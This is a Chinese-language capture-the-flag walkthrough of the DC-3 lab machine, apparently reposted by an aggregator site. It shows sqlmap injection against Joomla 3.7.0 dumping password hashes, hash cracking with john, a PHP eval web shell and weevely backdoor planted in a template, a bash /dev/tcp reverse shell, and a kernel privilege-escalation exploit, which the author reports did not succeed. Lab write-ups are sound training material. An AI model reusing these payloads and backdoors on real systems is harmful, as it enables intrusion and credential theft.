DC-3靶机—linux内核提权
Posted Thgilil
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-3靶机—linux内核提权相关的知识,希望对你有一定的参考价值。
(闲话,vm挺好,但占用内存大且有时候莫名其妙的工具连不上网络.
vbox挺轻便的,但是增强设备也安装不上去,文件和主机无法互通,难道一个后门木马我手打?)
靶场:DC-3
下载地址:https://www.five86.com/dc-3.html
先扫描以下局域网内存货主机:
arp-scan -l
端口:
nmap -A -p- 192.168.1.101
发现只开放了80端口,访问试试:
作者提醒我们这个靶机只有一个flag和一个进入点,没有线索提示
我们发现nmap扫描出此站点是由joomla搭建而成的,那扫一下指纹:
whatweb http://192.168.1.101
没发现什么可以利用的点
继续扫描joomla版本:
两种方法:
#nmap脚本扫描
nmap --script=vuln 192.168.1.101
#joomscan扫描
apt install joomscan //安装针对由joomla搭建的站点的扫描器
joomscan -u http://192.168.1.101
nmap扫描脚本真的很强大,扫出来很多东西:joomla版本、CSRF、SQL注入、目录遍历
joomscan扫出的漏洞有:joomla版本、部分目录
这里若不适用nmap扫描也可以直接搜索joomla 3.7.0出现的漏洞:
searchsploit joomla 3.7.0
由以上可以发现能利用的漏洞为sql注入和CSRF,但我们是要攻下root权限的人,当然选择深入sql注入
查找上图中的路径:php/webapps/42033.txt文件并读取,复制其中的sqlmap查询语句:
# find -name 42033*
# cat ./usr/share/exploitdb/exploits/php/webapps/42033.txt
修改网址为靶机ip后进行sqlmap扫描
sqlmap -u "http://192.168.1.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
爆出数据库:
sqlmap -u "http://192.168.1.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
爆出joomladb中的表:
sqlmap -u "http://192.168.1.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T #__users --columns
爆出字段:
sqlmap -u "http://192.168.1.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T #__users -C "name,username,password" --dump
爆出账号和密码:
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
使用john破解密码:
#vim 1.txt //创建一个文件,将密码写入进去
#john 1.txt //直接破解
得到admin账号的密码snoopy
快进到http://192.168.1.101/administrator/,登录成功后在模板编辑处发现能够添加代码
这里就用最简单的方式,写一个后门
<?php @eval($_POST["pass"]); ?>
接着蚁剑连接
进入终端:
获得了一个非登录非交互式shell,权限为www-data
所以我们需要提升其为交互式shell
思路为:生成一个反弹木马——插入网站文件中(上述index.php中)——拿shell
生成一个后门木马:
weevely generate 123 shell.php
cat shell.php //读取
复制到网站文件中:
执行拿shell:
weevely http://192.168.1.101/templates/beez3/index.php 123
拿shell成功,接看有什么提权的方式可以利用
ls -al //看有没有suid权限,若具有suid权限,文件权限应为 drwsr,此处没有
find / -perm -4000 //查看具有suid权限的文件
没有发现具有suid权限目录
但find发现sudo具有suid权限,遗憾的是无法使用:
看看有没有内核漏洞吧,查看系统信息:
uname -a
lsb_release -a
搜索Ubuntu 16.04具有的漏洞(kali下):
searchsploit Ubuntu 16.04
本地提权漏洞
搜索:
┌──(root💀kali)-[/]
└─# find -name 39772*
cat ./usr/share/exploitdb/exploits/linux/local/39772.txt
下载exp:
#wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
以上下载尝试多次仍然下载失败,最后在主机上下载下来了
这里可以使用蚁剑上传,也可以让靶机下载攻击机上的文件(exploit.tar是我在主机上解压后的文件)。我这里使用蚁剑上传:
解压:
#tar -xvf exploit.tar
#ls
#cd ebpf_mapfd_doubleput_exploit
执行编译文件:
#./compile.sh
#./doubleput
提权成功!!!
(其实并没有,执行./doubleput后等待了好长时间未见提权成功,不知道问题出在了哪里,但是看大佬博客确实提权成功了,只可能是我和我电脑的问题了,秃头)
一些地方并不是只有其中一种利用方法
在将非交互式shell提升为交互式shell时,可以直接在index.php中插入一个system函数执行bash -c 命令反弹shell。这种方法相对蚁剑连接,传木马后门就方便了很多
利用方式:
用system()执行bash -c //插入网站php文件中
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.143.129/8080 0>&1' ");
?>
用bash发起一个shell //bash -i >& /dev/tcp/192.168.143.129/8080 0>&1
kali监听 //nc -lvvp 8080
访问index.php执行脚本(kali上访问)
反弹shell成功 --> 提权到root
在将exp传输到靶机上时:使用python开放一个端口共享,让靶机连接下载exp
(注意python2中的共享模块是SimpleHTTPServer,在python3中变更未http.server)
# python -m http.server 8000 //等待下载
靶机:wget http://192.168.1.101:8000/39772/exploit.tar
以上是关于DC-3靶机—linux内核提权的主要内容,如果未能解决你的问题,请参考以下文章
raven靶机实战(linux-udf提权)-vuluhub系列
靶机练习-VulnHub-Escalate_Linux: 1